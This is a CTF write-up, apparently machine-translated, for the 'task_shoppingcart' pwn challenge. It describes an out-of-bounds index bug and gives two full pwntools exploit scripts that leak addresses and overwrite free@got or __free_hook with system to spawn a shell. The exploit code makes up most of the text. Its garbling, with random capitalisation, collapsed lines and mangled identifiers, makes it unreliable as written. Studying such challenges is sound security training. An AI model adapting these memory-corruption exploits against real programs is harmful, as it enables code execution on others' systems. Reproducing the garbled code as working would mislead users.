Objective
Related topics are located in
https://gitee.com/hac425/blog_data/tree/master/hwb
Task_shoppingcart
Vulnerability in00BD9
The user input idx
then finds the table entry () based on the index, T
then takes the T
8
first byte as a pointer, prints the content, and then modifies it.
Through the vulnerability, plus that logical structure we can view and modify data
the data.
The key work of this problem is the structure of construction.
Beginning to think that as in the previous game, there will be a place in the program with got
pointers to the table
https://www.cnblogs.com/hac425/p/9416777.html
found that after the program opened, pie
there seems to be no.
Method One
Later it wp
was found that 0x202068
a pointer was stored in place, pointing to itself, and the pointer seemed fini_array
to be used in the function.
It can be used for information disclosure.
When debugging
Leak Program Base Address
Using 0x202068
this point, we can finally get the base address of the program.
# (0x2021E0-0x202068)/8 , 0x202068存放指向自身的指针,通过这个可以 leak bin 的基地址。p.sendlineafter("Now, buy buy buy!", "3")p.sendlineafter("Which goods you need to modify?", str(-47))p.recvuntil("to modify ")leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))bin.address = leak - 0x202068info("bin.address: {}".format(hex(bin.address)))# padding p.send(p64(bin.address + 0x202140))
Construct structures, view and modify
got
Table
The structure that ultimately needs to be constructed is
0x0000555555756018
[email protected]
the address in which it is.
Construct by using the two that account
you started to create.
Then free
, after the leaked address, [email protected]
change system
it, and then free("sh\x00")
you can.
Specific exp
:
#!/usr/bin/env python# encoding:utf-8from pwn Import *context.terminal = [' Tmux ', ' SPLITW ', '-h ']# context.log_level = ' d Ebug "BinPath ="./task_shoppingcart "Libcpath ="/lib/x86_64-linux-gnu/libc-2.23.so "bin = Elf (binpath) libc = Elf ( Libcpath) bin.address = 0x0000555555554000# Context.binary = BINP = Process (BinPath, aslr=0) def login (): P.sendlineafter ("Emmmmm, you'll be a rich man!", "1") P.sendlineafter ("RMB or Dollar?", "RMB") def logout (): P.sendlineafter ("emmm MM, you'll be a rich man! "," 3 ") def create_good (data, length): P.sendlineafter (" Now, buy buy buy! "," 1 ") P.sendlin Eafter ("How long was your goods name?", str (length)) P.sendafter ("What's Your goods name?", data) def modify_good (IDX, D ATA): P.sendlineafter ("Now, buy buy buy!", "3") P.sendlineafter ("which goods do need to modify?", str (IDX)) p.se Ndafter ("OK, what would-like", data) def free_good (idx): P.sendlineafter ("Now, buy buy buy!", "2") P.sendlineafte R ("which goods that you don ' t need? ", str (IDX)) # creates two account, followed by a forged structure login () login () logout () Create_good (" sh\x00 ", 8) Create_good (" B "* 8, 8) Create_good ( "C" * 8, 8) Free_good (1) # (0x2021e0-0x202068)/8, 0x202068 stores pointers to itself, through which the base address of the bin can be leak. P.sendlineafter ("Now, buy buy buy!", "3") P.sendlineafter ("which goods do need to modify?", str ( -47)) P.recvuntil ("to Modi FY ") leak = U64 (P.recvuntil (" to ", Drop=true). Ljust (8," \x00 ")) bin.address = Leak-0x202068info (" bin.address: {} ". forma T (Hex (bin.address)) # accouont_table address P.send (P64 (bin.address + 0x202140)) # using account 1, go to 0x2020a0 write [Email pro Tected] Address Modify_good ( -20, P64 (bin.got[' free ')) # using account 2, go to 0x2020a8 to write 0x2020a0, construct a write structure Modify_good ( -19, P64 (bin . Address + 0x2020a0) # Gdb.attach (P, "" "# Break *0x0555555554c45#" ") # Pause () # (0X2021E0-0X2020A8)/8p.sendlineafter (" Now, buy buy-buy! "," 3 ") P.sendlineafter (" which goods you need to modify? ", str ( -39)) P.recvuntil (" to modify ") leak = U64 (p. Recvuntil ("to", Drop=true). Ljust (8, "\x00")) Libc.address = Leak-libc.symbols[' free ']info ("libc.address: {}". Format (Hex (libc.address))) P.send (P64 (libc.symbols[' System ']) [0:7 ]) Free_good (0) p.interactive ()
Method Two
The main use of this method is the off by null
fgets
work characteristics.
First,off by null
The first byte of the name_ptr
9
\x00
currency_type
first entry can be made by changing the last item account_table
, so that the \x00
pointer falls on the stdin
buffer used for staging the data.
When the first call is made fgets
, a fp
chunk of memory is allocated for the parameter to hold _IO_buf_base
the data sent by the user.
This buffer is at the heap
top of the zone. So when account_table[0]
the minimum byte of the pointer is placed, it \x00
will fall into stdin
the _IO_buf_base
inside, so we can construct the data that we have previously said to implement the address write read and write operations.
Details can be seen exp
:
#!/usr/bin/env python# encoding:utf-8from pwn import *import timelibc_name = '/lib/x86_64-linux-gnu/libc-2.23.so ' # Context.log_level = ' Debug ' context.terminal = [' Tmux ', ' SPLITW ', '-h ']elf = Elf ('./task_shoppingcart ') p = Process ('./ Task_shoppingcart ', aslr=0) libc = ELF (libc_name) def add (size, name): P.recvuntil ("Now, buy buy buy!") P.sendline (' 1 ') p.recvuntil ("Name?") P.sendline (str (size)) P.recvuntil ("What's Your goods name?") P.send (name) def delete (idx): P.recvuntil ("Now, buy buy buy!") P.sendline (' 2 ') p.recvuntil ("which goods that you don ' t need?") P.sendline (str (IDX)) def edit (IDX): P.recvuntil ("Now, buy buy buy!") P.sendline (' 3 ') p.recvuntil ("which goods you need to modify?") P.sendline (str (IDX)) def edit_vul (context): P.recvuntil ("Now, buy buy buy!") P.sendline (' 3 ') p.recvuntil ("which goods you need to modify?") P.send (context) # First fills the account array for I in range (0x13): P.recvuntil ("emmmmm, you'll be a rich man!") P.sendlinE (' 1 ') p.recvuntil ("I'll give you $9999, and what's the currency type you want, RMB or Dollar?") P.sendline (' a ' * 8) P.recvuntil ("Emmmmm, you'll be a rich man!") P.sendline (' 1 ') p.recvuntil ("I'll give you $9999, and what's the currency type you want, RMB or Dollar?") P.sendline (' B ' * 8) P.recvuntil ("Emmmmm, you'll be a rich man!") P.sendline (' 3 ') # Constructs a unsorted bin to unsorted the two pointers inside the bin Add (0x100, ' P4nda ') # 0add (0x70, '/bin/sh\x00 ') # 1delet E (0) # by assigning a 0-byte size name, you can bypass the Create good setting \x00, and then leak out Libcadd (0, ') # 2edit (2) p.recvuntil (' OK, what would you Li Ke to modify ') Libc_addr = U64 (P.RECV (6). Ljust (8, ' \x00 ')) libc.address = libc_addr-0x10-344-libc.symbols[' __malloc_h Ook ']p.send (' P4nda ') print ' [+] leak ', Hex (libc_addr) print ' [+] system ', Hex (libc.symbols[' System ']) # edit account_table[ 19]edit ((0x202140 + * 8-0x2021e0)/8 & 0XFFFFFFFFFFFFFFFF) P.recvuntil (' to? ') P.send (' d ' * 8) Gdb.attach (P) pause () payload = (str (0X202140-0X2021E0)/8 & 0XFFFFFFFFFFFFFFFF) + ' \ n ') # Fgets's workflow should be: # 1. The user sends the data to the program, and the program puts the data into the staging buffer # 2 of the stdin. Fgets on Demand data payload + = (str (2) + ' \ n ') payload + = (str (1) + ' \ n ') payload = Payload.ljust (0x1000-0x20, ' a ') payload + = P64 (l ibc.symbols[' __free_hook ']) Edit_vul (payload) # Write data with read, maybe empty the previous cache data? P.recvuntil (' to? ') P.send (P64 (libc.symbols[' system ')) P.interactive ()
Reference
https://xz.aliyun.com/t/2897#toc-5https://xz.aliyun.com/t/2892#toc-3https://xz.aliyun.com/t/2893#toc-7
NET Cup Task_shoppingcart record